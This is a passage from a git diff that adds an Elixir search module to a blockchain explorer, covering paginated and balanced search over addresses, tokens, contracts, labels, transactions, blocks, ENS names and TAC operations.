+ where: + * latest_batch_number - number of the latest batch in the database. + * latest_batch_timestamp - when the latest batch was committed to L1. + * average_batch_time - average number of seconds between batches for the last 100 batches. + + - If less than two batches exist: `{:error, :not_found}`. + """ + @spec get_latest_batch_info(keyword()) :: {:ok, map()} | {:error, :not_found} + def get_latest_batch_info(options \\ []) do + query = + from(b in Batch, + order_by: [desc: b.number], + limit: 100, + select: %{ + number: b.number, + timestamp: b.commit_timestamp + } + ) + + items = select_repo(options).all(query) + + Instrumenter.prepare_batch_metric(items) + end +end diff --git a/apps/explorer/lib/explorer/chain/search.ex b/apps/explorer/lib/explorer/chain/search.ex new file mode 100644 index 000000000000..0fa068a8505c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/search.ex @@ -0,0 +1,1361 @@ +defmodule Explorer.Chain.Search do + @moduledoc """ + Search-related functions + """ + import Ecto.Query + import Explorer.Chain, only: [select_repo: 1] + import Explorer.MicroserviceInterfaces.BENS, only: [ens_domain_name_lookup: 1] + + import Explorer.PagingOptions, + only: [ + default_paging_options: 0 + ] + + import Explorer.SortingHelper, only: [apply_sorting: 3, page_with_sorting: 4] + + alias Explorer.{Chain, PagingOptions} + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.Tags.{AddressTag, AddressToTag} + + alias Explorer.Chain.{ + Address, + Beacon.Blob, + Block, + DenormalizationHelper, + Hash, + SmartContract, + Token, + Transaction, + UserOperation + } + + alias Explorer.MicroserviceInterfaces.{Metadata, TACOperationLifecycle} + + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + @min_query_length 3 + + @token_sorting [ + {:desc_nulls_last, :circulating_market_cap, :token}, + {:desc_nulls_last, :fiat_value, :token}, + {:desc_nulls_last, :is_verified_via_admin_panel, :token}, + {:desc_nulls_last, :holder_count, :token}, + {:asc, :name, :token}, + {:desc, :inserted_at, :token} + ] + + @contract_sorting [ + {:desc_nulls_last, :certified, :smart_contract}, + {:asc, :name, :smart_contract}, + {:desc, :inserted_at, :smart_contract} + ] + + @label_sorting [{:asc, :display_name, :address_tag}, {:desc, :inserted_at, :address_to_tag}] + + @doc """ + Search function used in web interface and API v2. Returns paginated search results + """ + @spec joint_search(PagingOptions.t(), binary(), [Chain.api?() | Chain.show_scam_tokens?()]) :: {list(), map() | nil} + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def joint_search(paging_options, query_string, options \\ []) do + query_string = String.trim(query_string) + + {search_results, next_page_params} = + query_string + |> prepare_search_query(prepare_search_term(query_string)) + |> case do + nil -> + {[], nil} + + {:address_hash, address_hash} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + + addresses_and_tokens = address_hash_search_if_first_page(paging_options, address_hash, options) + + %{items: tac_operation_results, next_page_params: tac_operation_next_page_params} = + await_task_with_paging(tac_operation_task) + + trim_list_and_prepare_next_page_params( + addresses_and_tokens ++ tac_operation_results, + paging_options, + query_string, + %{}, + !is_nil(tac_operation_next_page_params) + ) + + {:ton_address, _ton_address} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + + %{items: tac_operation_results, next_page_params: tac_operation_next_page_params} = + await_task_with_paging(tac_operation_task) + + trim_list_and_prepare_next_page_params( + tac_operation_results, + paging_options, + query_string, + %{}, + !is_nil(tac_operation_next_page_params) + ) + + {:filecoin, filecoin_address} -> + {filecoin_address + |> address_by_filecoin_id_or_robust() + |> select_repo(options).all(), nil} + + {:full_hash, full_hash} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + results = full_hash_search_if_first_page(paging_options, full_hash, options) + + %{items: tac_operation_results, next_page_params: tac_operation_next_page_params} = + await_task_with_paging(tac_operation_task) + + trim_list_and_prepare_next_page_params( + results ++ tac_operation_results, + paging_options, + query_string, + %{}, + !is_nil(tac_operation_next_page_params) + ) + + {:number, block_number} -> + {block_number + |> search_block_by_number_query() + |> select_repo(options).all(), nil} + + [{:number, block_number}, {:text, prepared_term}] -> + prepared_term + |> search_by_string(paging_options, [], options) + |> union_all(^search_block_by_number_query(block_number)) + |> order_and_page_text_search_result(paging_options) + |> select_repo(options).all() + |> trim_list_and_prepare_next_page_params(paging_options, query_string, %{}, false) + + {:text, prepared_term} -> + ens_task = run_ens_task_if_first_page(paging_options, query_string, options) + + %{items: metadata_tags, next_page_params: metadata_next_page_params} = + maybe_fetch_metadata_tags( + query_string, + parse_possible_nil(paging_options.key["metadata_tag"]["metadata_next_page_params"]), + ExplorerHelper.parse_boolean(paging_options.key["metadata_tag"]["end_of_tags"]) + ) + + paginated_metadata_tags = page_metadata_tags(metadata_tags, paging_options) + + items = + prepared_term + |> search_by_string(paging_options, paginated_metadata_tags, options) + |> order_and_page_text_search_result(paging_options) + |> select_repo(options).all() + + ens_result = (ens_task && await_task(ens_task)) || [] + + (ens_result ++ items) + |> trim_list_and_prepare_next_page_params( + paging_options, + query_string, + %{ + metadata_next_page_params: metadata_next_page_params + }, + !is_nil(metadata_next_page_params) + ) + end + + prepared_results = + search_results + |> Enum.map(fn result -> + result + |> compose_result_checksummed_address_hash() + |> format_timestamp() + end) + + {prepared_results, next_page_params} + end + + defp address_hash_search_if_first_page(%PagingOptions{key: nil}, address_hash, options) do + address_hash + |> search_token_by_address_hash_query(options) + |> union_all( + ^(address_hash + |> search_address_by_address_hash_query()) + ) + |> select_repo(options).all() + end + + defp address_hash_search_if_first_page(_, _address_hash, _options), do: [] + + defp full_hash_search_if_first_page(%PagingOptions{key: nil}, full_hash, options) do + transaction_block_query = + full_hash + |> search_transaction_query() + |> union_all(^search_block_by_hash_query(full_hash)) + + transaction_block_op_query = + if UserOperation.enabled?() do + user_operation_query = search_user_operation_query(full_hash) + + transaction_block_query + |> union_all(^user_operation_query) + else + transaction_block_query + end + + result_query = + if Application.get_env(:explorer, :chain_type) == :ethereum do + blob_query = search_blob_query(full_hash) + + transaction_block_op_query + |> union_all(^blob_query) + else + transaction_block_op_query + end + + select_repo(options).all(result_query) + end + + defp full_hash_search_if_first_page(_, _full_hash, _options), do: [] + + defp order_and_page_text_search_result(query, paging_options) do + query + |> subquery() + |> order_by([item], + desc: item.priority, + desc_nulls_last: item.certified, + desc_nulls_last: item.circulating_market_cap, + desc_nulls_last: item.exchange_rate, + desc_nulls_last: item.is_verified_via_admin_panel, + desc_nulls_last: item.holder_count, + asc: item.order, + asc: item.name, + desc: item.inserted_at + ) + |> limit(^paging_options.page_size) + end + + defp maybe_fetch_metadata_tags(query_string, next_page_params, false) do + metadata_task = Task.async(fn -> Metadata.search_tags_by_name(query_string, next_page_params) end) + + await_task_with_paging(metadata_task) + end + + defp maybe_fetch_metadata_tags(_query_string, _next_page_params, true) do + %{items: [], next_page_params: nil} + end + + defp page_metadata_tags(tags, paging_options) do + case (paging_options.key || %{})["metadata_tag"] do + %{"addresses_index" => addresses_index} -> + Enum.drop(tags, ExplorerHelper.parse_integer(addresses_index)) + + _ -> + tags + end + end + + @spec prepare_search_query(binary(), {:some, binary()} | :none) :: + {:address_hash, Hash.Address.t()} + | {:ton_address, Ton.Address.t()} + | {:filecoin, any()} + | {:full_hash, Hash.t()} + | {:number, non_neg_integer()} + | [{:number, non_neg_integer()}, {:text, binary()}] + | {:text, binary()} + | nil + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp prepare_search_query(query, {:some, prepared_term}) do + address_hash_result = Chain.string_to_address_hash(query) + ton_address_result = Ton.parse_address(query) + filecoin_address_result = maybe_parse_filecoin_address(query) + full_hash_result = Chain.string_to_full_hash(query) + non_negative_integer_result = ExplorerHelper.safe_parse_non_negative_integer(query) + query_length = String.length(query) + + cond do + match?({:ok, _hash}, address_hash_result) -> + {:ok, hash} = address_hash_result + {:address_hash, hash} + + match?({:ok, _address}, ton_address_result) -> + {:ok, ton_address} = ton_address_result + {:ton_address, ton_address} + + match?({:ok, _address}, filecoin_address_result) -> + {:ok, filecoin_address} = filecoin_address_result + {:filecoin, filecoin_address} + + match?({:ok, _hash}, full_hash_result) -> + {:ok, hash} = full_hash_result + {:full_hash, hash} + + match?({:ok, _block_number}, non_negative_integer_result) and query_length < @min_query_length -> + {:ok, block_number} = non_negative_integer_result + {:number, block_number} + + match?({:ok, _block_number}, non_negative_integer_result) and query_length >= @min_query_length -> + {:ok, block_number} = non_negative_integer_result + [{:number, block_number}, {:text, prepared_term}] + + query_length >= @min_query_length -> + {:text, prepared_term} + + true -> + nil + end + end + + defp prepare_search_query(_query, _) do + nil + end + + defp search_by_string(term, paging_options, metadata_tags, options) do + tokens_query_certified = + term + |> search_token_query_certified(paging_options, options) + + tokens_query_not_certified = + term + |> search_token_query_not_certified(paging_options, options) + + metadata_tags_addresses_query = join_metadata_tags_with_addresses(metadata_tags, options) + + contracts_query = term |> search_contract_query(paging_options, options) + + labels_query = search_label_query(term, paging_options) + + from( + tokens in subquery(tokens_query_certified), + union_all: ^tokens_query_not_certified, + union_all: ^metadata_tags_addresses_query, + union_all: ^contracts_query, + union_all: ^labels_query + ) + end + + defp run_ens_task_if_first_page(%PagingOptions{key: nil}, query_string, options) do + Task.async(fn -> search_ens_name(query_string, options) end) + end + + defp run_ens_task_if_first_page(_, _query_string, _options), do: nil + + @doc """ + Search function. Differences from joint_search/4: + 1. Returns all the found categories (amount of results up to `paging_options.page_size`). + For example if was found 50 tokens, 50 smart-contracts, 50 labels, 1 address, 1 transaction and 2 blocks (impossible, just example) and page_size=50. Then function will return: + [1 address, 1 transaction, 2 blocks, 16 tokens, 15 smart-contracts, 15 labels] + 2. Results couldn't be paginated + + `balanced_unpaginated_search` function is used at api/v2/search/quick endpoint. + """ + @spec balanced_unpaginated_search(PagingOptions.t(), binary(), [Chain.api?() | Chain.show_scam_tokens?()]) :: list + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def balanced_unpaginated_search(paging_options, query_string, options \\ []) do + query_string = String.trim(query_string) + ens_task = Task.async(fn -> search_ens_name(query_string, options) end) + + results = + query_string + |> prepare_search_query(prepare_search_term(query_string)) + |> case do + nil -> + [] + + {:address_hash, address_hash} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + + addresses_and_tokens = address_hash_search_if_first_page(paging_options, address_hash, options) + + %{items: tac_operation_results} = await_task_with_paging(tac_operation_task) + + [addresses_and_tokens, tac_operation_results] + + {:ton_address, _ton_address} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + + %{items: tac_operation_results} = + await_task_with_paging(tac_operation_task) + + [tac_operation_results] + + {:filecoin, filecoin_address} -> + [ + filecoin_address + |> address_by_filecoin_id_or_robust() + |> select_repo(options).all() + ] + + {:full_hash, full_hash} -> + tac_operation_task = Task.async(fn -> search_tac_operations(query_string, paging_options) end) + results = full_hash_search_if_first_page(paging_options, full_hash, options) + %{items: tac_operation_results} = await_task_with_paging(tac_operation_task) + + [results, tac_operation_results] + + {:number, block_number} -> + [ + block_number + |> search_block_by_number_query() + |> select_repo(options).all() + ] + + [{:number, block_number}, {:text, prepared_term}] -> + [ + block_number |> search_block_by_number_query() |> select_repo(options).all() + | search_by_string_balanced(prepared_term, paging_options, options, nil) + ] + + {:text, prepared_term} -> + search_by_string_balanced(prepared_term, paging_options, options, query_string) + end + + ens_result = await_task(ens_task) + + non_empty_lists = + [ + ens_result | results + ] + |> Enum.filter(fn list -> not Enum.empty?(list) end) + |> Enum.sort_by(fn list -> Enum.count(list) end, :asc) + + to_take = + non_empty_lists + |> Enum.map(fn list -> Enum.count(list) end) + |> take_all_categories(List.duplicate(0, Enum.count(non_empty_lists)), paging_options.page_size) + + non_empty_lists + |> Enum.zip_reduce(to_take, [], fn x, y, acc -> acc ++ Enum.take(x, y) end) + |> Enum.map(fn result -> + result + |> compose_result_checksummed_address_hash() + |> format_timestamp() + end) + |> Enum.sort_by(fn item -> item.priority end, :desc) + end + + defp search_by_string_balanced(term, paging_options, options, query_string) do + metadata_task = if query_string, do: Task.async(fn -> Metadata.search_tags_by_name(query_string, %{}) end) + + tokens_results = + (term + |> search_token_query_certified(paging_options, options) + |> select_repo(options).all()) ++ + (term + |> search_token_query_not_certified(paging_options, options) + |> select_repo(options).all()) + + contracts_results = + term + |> search_contract_query(paging_options, options) + |> select_repo(options).all() + + labels_results = term |> search_label_query(paging_options) |> select_repo(options).all() + + %{items: metadata_tags} = (metadata_task && await_task_with_paging(metadata_task)) || %{items: []} + + metadata_tags_addresses = + metadata_tags + |> join_metadata_tags_with_addresses(options) + |> order_by([metadata_tag: item], asc: item.id) + |> select_repo(options).all() + + [tokens_results, contracts_results, labels_results, metadata_tags_addresses] + end + + defp await_task(task) do + case Task.yield(task, 5000) || Task.shutdown(task) do + {:ok, result} -> + result + + _ -> + [] + end + end + + defp await_task_with_paging(task) do + case Task.yield(task, 5000) || Task.shutdown(task) do + {:ok, {:ok, result}} -> + result + + _ -> + %{items: [], next_page_params: nil} + end + end + + def prepare_search_term(string) do + case Regex.scan(~r/[a-zA-Z0-9]+/, string) do + [_ | _] = words -> + term_final = + words + |> Enum.map_join(" & ", fn [word] -> word <> ":*" end) + + {:some, term_final} + + _ -> + :none + end + end + + defp search_label_query(term, paging_options) do + label_search_fields = + search_fields() + |> Map.put(:address_hash, dynamic([address_to_tag: att], att.address_hash)) + |> Map.put(:type, "label") + |> Map.put(:name, dynamic([address_tag: at], at.display_name)) + |> Map.put(:inserted_at, dynamic([address_to_tag: att], att.inserted_at)) + |> Map.put(:verified, dynamic([smart_contract: smart_contract], not is_nil(smart_contract))) + |> Map.put(:priority, 3) + + inner_query = + from(tag in AddressTag, + where: fragment("to_tsvector('english', ?) @@ to_tsquery(?)", tag.display_name, ^term), + select: tag + ) + + base_query = + from(att in AddressToTag, + as: :address_to_tag, + inner_join: at in subquery(inner_query), + as: :address_tag, + on: att.tag_id == at.id, + left_join: smart_contract in SmartContract, + as: :smart_contract, + on: att.address_hash == smart_contract.address_hash, + select: ^label_search_fields + ) + + base_query + |> apply_sorting([], @label_sorting) + |> page_search_results(paging_options, "label") + end + + defp search_token_query_not_certified(term, paging_options, options) do + term + |> search_token_by_symbol_or_name_query(paging_options, options) + |> where([smart_contract: smart_contract], is_nil(smart_contract.certified) or not smart_contract.certified) + end + + defp search_token_query_certified(term, paging_options, options) do + term + |> search_token_by_symbol_or_name_query(paging_options, options) + |> where([smart_contract: smart_contract], smart_contract.certified) + end + + defp search_token_by_symbol_or_name_query(term, paging_options, options) do + base_query = + from(token in Token, + as: :token, + left_join: smart_contract in SmartContract, + as: :smart_contract, + on: token.contract_address_hash == smart_contract.address_hash, + where: fragment("to_tsvector('english', ? || ' ' || ?) @@ to_tsquery(?)", token.symbol, token.name, ^term) + ) + + base_query + |> apply_sorting([], @token_sorting) + |> page_search_results(paging_options, "token") + |> ExplorerHelper.maybe_hide_scam_addresses_for_search(:contract_address_hash, options) + |> select(^(token_search_fields() |> add_reputation_to_search_fields(options))) + end + + defp search_token_by_address_hash_query(address_hash, options) do + query = + from(token in Token, + as: :token, + left_join: smart_contract in SmartContract, + as: :smart_contract, + on: token.contract_address_hash == smart_contract.address_hash, + where: token.contract_address_hash == ^address_hash + ) + + query + |> ExplorerHelper.maybe_hide_scam_addresses_for_search(:contract_address_hash, options) + |> select(^(token_search_fields() |> add_reputation_to_search_fields(options))) + end + + defp search_contract_query(term, paging_options, options) do + contract_search_fields = + search_fields() + |> Map.put(:address_hash, dynamic([smart_contract: smart_contract], smart_contract.address_hash)) + |> Map.put(:type, "contract") + |> Map.put(:name, dynamic([smart_contract: smart_contract], smart_contract.name)) + |> Map.put(:inserted_at, dynamic([smart_contract: smart_contract], smart_contract.inserted_at)) + |> Map.put(:certified, dynamic([smart_contract: smart_contract], smart_contract.certified)) + |> Map.put(:verified, true) + |> Map.put(:priority, 0) + |> add_reputation_to_search_fields(options) + + base_query = + from(smart_contract in SmartContract, + as: :smart_contract, + where: fragment("to_tsvector('english', ?) @@ to_tsquery(?)", smart_contract.name, ^term) + ) + + base_query + |> ExplorerHelper.maybe_hide_scam_addresses_for_search(:address_hash, options) + |> select(^contract_search_fields) + |> apply_sorting([], @contract_sorting) + |> page_search_results(paging_options, "contract") + end + + defp search_address_by_address_hash_query(address_hash) do + address_search_fields = + search_fields() + |> Map.put(:address_hash, dynamic([address: address], address.hash)) + |> Map.put(:type, "address") + |> Map.put(:name, dynamic([address_name: address_name], address_name.name)) + |> Map.put(:inserted_at, dynamic([address: address], address.inserted_at)) + |> Map.put(:verified, dynamic([address: address], address.verified)) + |> Map.put(:certified, dynamic([smart_contract: smart_contract], smart_contract.certified)) + + base_address_query() + |> where([address: address], address.hash == ^address_hash) + |> join( + :left, + [address: address], + address_name in subquery( + from(name in Address.Name, + where: name.address_hash == ^address_hash, + order_by: [desc: name.primary], + limit: 1 + ) + ), + on: address.hash == address_name.address_hash, + as: :address_name + ) + |> select(^address_search_fields) + end + + defp base_address_query do + from(address in Address, + as: :address, + left_join: smart_contract in SmartContract, + as: :smart_contract, + on: address.hash == smart_contract.address_hash + ) + end + + defp search_transaction_query(hash) do + if DenormalizationHelper.transactions_denormalization_finished?() do + transaction_search_fields = + search_fields() + |> Map.put(:transaction_hash, dynamic([transaction: transaction], transaction.hash)) + |> Map.put(:block_hash, dynamic([transaction: transaction], transaction.block_hash)) + |> Map.put(:type, "transaction") + |> Map.put(:block_number, dynamic([transaction: transaction], transaction.block_number)) + |> Map.put(:inserted_at, dynamic([transaction: transaction], transaction.inserted_at)) + |> Map.put(:timestamp, dynamic([transaction: transaction], transaction.block_timestamp)) + + from(transaction in Transaction, + as: :transaction, + where: transaction.hash == ^hash, + select: ^transaction_search_fields + ) + else + transaction_search_fields = + search_fields() + |> Map.put(:transaction_hash, dynamic([transaction: transaction], transaction.hash)) + |> Map.put(:block_hash, dynamic([transaction: transaction], transaction.block_hash)) + |> Map.put(:type, "transaction") + |> Map.put(:block_number, dynamic([transaction: transaction], transaction.block_number)) + |> Map.put(:inserted_at, dynamic([transaction: transaction], transaction.inserted_at)) + |> Map.put(:timestamp, dynamic([block: block], block.timestamp)) + + from(transaction in Transaction, + as: :transaction, + left_join: block in Block, + as: :block, + on: transaction.block_hash == block.hash, + where: transaction.hash == ^hash, + select: ^transaction_search_fields + ) + end + end + + defp search_user_operation_query(term) do + user_operation_search_fields = + search_fields() + |> Map.put(:user_operation_hash, dynamic([user_operation: user_operation], user_operation.hash)) + |> Map.put(:block_hash, dynamic([user_operation: user_operation], user_operation.block_hash)) + |> Map.put(:type, "user_operation") + |> Map.put(:inserted_at, dynamic([user_operation: user_operation], user_operation.inserted_at)) + |> Map.put(:block_number, dynamic([user_operation: user_operation], user_operation.block_number)) + |> Map.put(:timestamp, dynamic([block: block], block.timestamp)) + + from(user_operation in UserOperation, + as: :user_operation, + left_join: block in Block, + as: :block, + on: user_operation.block_hash == block.hash, + where: user_operation.hash == ^term, + select: ^user_operation_search_fields + ) + end + + defp search_blob_query(term) do + blob_search_fields = + search_fields() + |> Map.put(:blob_hash, dynamic([blob: blob], blob.hash)) + |> Map.put(:type, "blob") + |> Map.put(:inserted_at, dynamic([blob: blob], blob.inserted_at)) + + from(blob in Blob, + as: :blob, + where: blob.hash == ^term, + select: ^blob_search_fields + ) + end + + defp search_block_by_hash_query(hash) do + search_block_base_query() + |> where([block: block], block.hash == ^hash) + end + + defp search_block_by_number_query(number) do + search_block_base_query() + |> where([block: block], block.number == ^number) + end + + defp search_block_base_query do + block_search_fields = + search_fields() + |> Map.put(:block_hash, dynamic([block: block], block.hash)) + |> Map.put(:type, "block") + |> Map.put(:block_number, dynamic([block: block], block.number)) + |> Map.put(:inserted_at, dynamic([block: block], block.inserted_at)) + |> Map.put(:timestamp, dynamic([block: block], block.timestamp)) + |> Map.put(:priority, 3) + + from(block in Block, + as: :block, + select: ^block_search_fields + ) + end + + defp join_metadata_tags_with_addresses(metadata_tags, options) do + address_base_query = from(address in Address, as: :address) + + prepared_tags = + metadata_tags + |> Enum.with_index() + |> Enum.map(fn {tag, index} -> {index, tag.hash.bytes, tag.metadata, tag.addresses_index} end) + + address_base_query + |> join( + :right, + [address: address], + tag in ^subquery( + from(tag in fragment("unnest(?::metadata_tag_record[])", ^prepared_tags), + select: %{ + id: tag.id, + address_hash: tag.address_hash, + metadata: tag.metadata, + addresses_index: tag.addresses_index + } + ) + ), + as: :metadata_tag, + on: address.hash == tag.address_hash + ) + |> ExplorerHelper.maybe_hide_scam_addresses_for_search(:hash, options) + |> select(^(metadata_tags_search_fields() |> add_reputation_to_search_fields(options))) + end + + defp page_search_results( + query, + %PagingOptions{ + key: %{ + "label" => %{ + "name" => name, + "inserted_at" => inserted_at + } + }, + page_size: page_size + }, + "label" + ) do + query + |> page_with_sorting( + %PagingOptions{ + key: %{ + display_name: name, + inserted_at: inserted_at + }, + page_size: page_size + }, + [], + [{:asc, :display_name, :address_tag}, {:desc, :inserted_at, :address_to_tag}] + ) + end + + defp page_search_results( + query, + %PagingOptions{ + key: %{ + "contract" => %{ + "certified" => certified, + "name" => name, + "inserted_at" => inserted_at + } + }, + page_size: page_size + }, + "contract" + ) do + query + |> page_with_sorting( + %PagingOptions{ + key: %{ + certified: parse_possible_nil(certified), + name: parse_possible_nil(name), + inserted_at: inserted_at + }, + page_size: page_size + }, + [], + [ + {:desc_nulls_last, :certified, :smart_contract}, + {:asc, :name, :smart_contract}, + {:desc, :inserted_at, :smart_contract} + ] + ) + end + + defp page_search_results( + query, + %PagingOptions{ + key: %{ + "token" => %{ + "circulating_market_cap" => circulating_market_cap, + "fiat_value" => fiat_value, + "is_verified_via_admin_panel" => is_verified_via_admin_panel, + "holder_count" => holders_count, + "name" => name, + "inserted_at" => inserted_at + } + }, + page_size: page_size + }, + "token" + ) do + query + |> page_with_sorting( + %PagingOptions{ + key: %{ + circulating_market_cap: parse_possible_nil(circulating_market_cap), + fiat_value: parse_possible_nil(fiat_value), + is_verified_via_admin_panel: parse_possible_nil(is_verified_via_admin_panel), + holder_count: parse_possible_nil(holders_count), + name: name, + inserted_at: inserted_at + }, + page_size: page_size + }, + [], + [ + {:desc_nulls_last, :circulating_market_cap, :token}, + {:desc_nulls_last, :fiat_value, :token}, + {:desc_nulls_last, :is_verified_via_admin_panel, :token}, + {:desc_nulls_last, :holder_count, :token}, + {:asc, :name, :token}, + {:desc, :inserted_at, :token} + ] + ) + end + + defp page_search_results(query, %PagingOptions{page_size: page_size}, _query_type), + do: limit(query, ^page_size) + + defp take_all_categories([], taken_lengths, _remained), do: taken_lengths + + defp take_all_categories(lengths, taken_lengths, remained) do + non_zero_count = count_non_zero(lengths) + + target = if(remained < non_zero_count, do: 1, else: div(remained, non_zero_count)) + + {lengths_updated, %{result: taken_lengths_reversed}} = + Enum.map_reduce(lengths, %{result: [], sum: 0}, fn el, acc -> + taken = + cond do + acc[:sum] >= remained -> + 0 + + el < target -> + el + + true -> + target + end + + {el - taken, %{result: [taken | acc[:result]], sum: acc[:sum] + taken}} + end) + + taken_lengths = + taken_lengths + |> Enum.zip_reduce(Enum.reverse(taken_lengths_reversed), [], fn x, y, acc -> [x + y | acc] end) + |> Enum.reverse() + + remained = remained - Enum.sum(taken_lengths_reversed) + + if remained > 0 and count_non_zero(lengths_updated) > 0 do + take_all_categories(lengths_updated, taken_lengths, remained) + else + taken_lengths + end + end + + defp count_non_zero(list) do + Enum.reduce(list, 0, fn el, acc -> acc + if el > 0, do: 1, else: 0 end) + end + + defp compose_result_checksummed_address_hash(result) do + if result.address_hash do + result + |> Map.put(:address_hash, Address.checksum(result.address_hash)) + else + result + end + end + + # For some reasons timestamp for blocks and transactions returns as ~N[2023-06-25 19:39:47.339493] + defp format_timestamp(result) do + if result.timestamp do + result + |> Map.put(:timestamp, DateTime.from_naive!(result.timestamp, "Etc/UTC")) + else + result + end + end + + defp search_ens_name(search_query, options) do + case search_ens_name_in_bens(search_query) do + {ens_result, address_hash} -> + [ + address_hash + |> search_address_by_address_hash_query() + |> select_repo(options).all() + |> merge_address_search_result_with_ens_info(ens_result) + ] + + _ -> + [] + end + end + + defp search_tac_operations(search_query, paging_options) do + case paging_options do + %PagingOptions{key: %{"tac_operation" => nil}} -> {:ok, %{items: [], next_page_params: nil}} + %PagingOptions{key: %{"tac_operation" => page_params}} -> do_search_tac_operations(search_query, page_params) + _ -> do_search_tac_operations(search_query, nil) + end + end + + defp do_search_tac_operations(search_query, page_params) do + case TACOperationLifecycle.get_operations_by_id_or_sender_or_transaction_hash(search_query, page_params) do + {:ok, %{items: operations, next_page_params: next_page_params}} -> + {:ok, + %{ + items: + Enum.map(operations, fn operation -> + search_fields() + |> Map.merge(%{ + type: "tac_operation", + tac_operation: operation, + address_hash: nil, + timestamp: nil + }) + end), + next_page_params: next_page_params + }} + + error -> + error + end + end + + @doc """ + Try to resolve ENS domain via BENS + """ + @spec search_ens_name_in_bens(binary()) :: + nil + | {%{ + address_hash: binary(), + expiry_date: any(), + name: any(), + names_count: non_neg_integer(), + protocol: any() + }, Hash.Address.t()} + def search_ens_name_in_bens(search_query) do + trimmed_query = String.trim(search_query) + + with true <- Regex.match?(~r/\w+\.\w+/, trimmed_query), + %{address_hash: address_hash_string} = result <- ens_domain_name_lookup(search_query), + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string) do + {result, address_hash} + else + _ -> + nil + end + end + + defp merge_address_search_result_with_ens_info([], ens_info) do + search_fields() + |> Map.put(:address_hash, ens_info[:address_hash]) + |> Map.put(:type, "ens_domain") + |> Map.put(:ens_info, ens_info) + |> Map.put(:timestamp, nil) + |> Map.put(:priority, 4) + end + + defp merge_address_search_result_with_ens_info([address], ens_info) do + address + |> compose_result_checksummed_address_hash() + |> Map.put(:type, "ens_domain") + |> Map.put(:ens_info, ens_info) + |> Map.put(:priority, 4) + end + + defp search_fields do + %{ + address_hash: dynamic(type(^nil, :binary)), + transaction_hash: dynamic(type(^nil, :binary)), + user_operation_hash: dynamic(type(^nil, :binary)), + blob_hash: dynamic(type(^nil, :binary)), + block_hash: dynamic(type(^nil, :binary)), + type: nil, + name: nil, + symbol: nil, + holder_count: nil, + inserted_at: nil, + block_number: 0, + icon_url: nil, + token_type: nil, + timestamp: dynamic(type(^nil, :utc_datetime_usec)), + verified: nil, + certified: nil, + exchange_rate: nil, + total_supply: nil, + circulating_market_cap: nil, + priority: 0, + is_verified_via_admin_panel: nil, + order: 0, + metadata: dynamic(type(^nil, :map)), + addresses_index: 0, + reputation: "ok" + } + end + + defp token_search_fields do + search_fields() + |> Map.put(:address_hash, dynamic([token: token], token.contract_address_hash)) + |> Map.put(:type, "token") + |> Map.put(:name, dynamic([token: token], token.name)) + |> Map.put(:symbol, dynamic([token: token], token.symbol)) + |> Map.put(:holder_count, dynamic([token: token], token.holder_count)) + |> Map.put(:inserted_at, dynamic([token: token], token.inserted_at)) + |> Map.put(:icon_url, dynamic([token: token], token.icon_url)) + |> Map.put(:token_type, dynamic([token: token], token.type)) + |> Map.put(:exchange_rate, dynamic([token: token], token.fiat_value)) + |> Map.put(:total_supply, dynamic([token: token], token.total_supply)) + |> Map.put(:circulating_market_cap, dynamic([token: token], token.circulating_market_cap)) + |> Map.put(:is_verified_via_admin_panel, dynamic([token: token], token.is_verified_via_admin_panel)) + |> Map.put(:verified, dynamic([smart_contract: smart_contract], not is_nil(smart_contract))) + |> Map.put(:certified, dynamic([smart_contract: smart_contract], smart_contract.certified)) + |> Map.put(:priority, 2) + end + + defp metadata_tags_search_fields do + search_fields() + |> Map.put(:address_hash, dynamic([metadata_tag: tag], tag.address_hash)) + |> Map.put(:metadata, dynamic([metadata_tag: tag], tag.metadata)) + |> Map.put(:type, "metadata_tag") + |> Map.put(:inserted_at, dynamic([address: address], address.inserted_at)) + |> Map.put(:order, dynamic([metadata_tag: tag], tag.id)) + |> Map.put(:addresses_index, dynamic([metadata_tag: tag], tag.addresses_index)) + |> Map.put(:verified, dynamic([address: address], address.verified)) + |> Map.put(:priority, 1) + end + + defp add_reputation_to_search_fields(search_fields, options) do + if ExplorerHelper.force_show_scam_addresses?(options) do + search_fields + |> Map.put( + :reputation, + dynamic([sabm: sabm], fragment("CASE WHEN ? THEN ? ELSE ? END", is_nil(sabm.address_hash), "ok", "scam")) + ) + else + search_fields + end + end + + @paginated_types ["label", "contract", "token", "metadata_tag", "tac_operation"] + + defp trim_list_and_prepare_next_page_params( + items, + %PagingOptions{page_size: page_size, key: prev_options}, + query, + metadata_tags_params, + microservice_task_next_page? + ) + when length(items) > page_size - 1 or microservice_task_next_page? do + {items, first_element_of_the_next_page} = + case Enum.split(items, page_size - 1) do + {items, [first_element_of_the_next_page | _]} -> {items, first_element_of_the_next_page} + {items, []} -> {items, nil} + end + + prev_options = prev_options || %{} + + base_params = + Map.merge( + %{"next_page_params_type" => "search", "q" => query}, + prev_options + ) + + {paging_options, _types} = + items + |> Enum.reverse() + |> Enum.reduce_while({base_params, @paginated_types}, fn + _item, {_paging_options, []} = acc -> + {:halt, acc} + + item, {paging_options, types} = acc -> + if item.type in types do + {:cont, + {Map.put( + paging_options, + item.type, + paging_params( + item, + Map.put(metadata_tags_params, :first_element_of_the_next_page, first_element_of_the_next_page) + ) + ), List.delete(types, item.type)}} + else + {:cont, acc} + end + end) + + {items, paging_options} + end + + defp trim_list_and_prepare_next_page_params( + items, + _paging_options, + _query, + _metadata_tags_params, + _metadata_tags_next_page? + ), + do: {items, nil} + + defp paging_params( + %{ + name: name, + inserted_at: inserted_at, + type: "label" + }, + _ + ) do + inserted_at_datetime = DateTime.to_iso8601(inserted_at) + + %{ + "name" => name, + "inserted_at" => inserted_at_datetime + } + end + + defp paging_params( + %{ + circulating_market_cap: circulating_market_cap, + exchange_rate: exchange_rate, + is_verified_via_admin_panel: 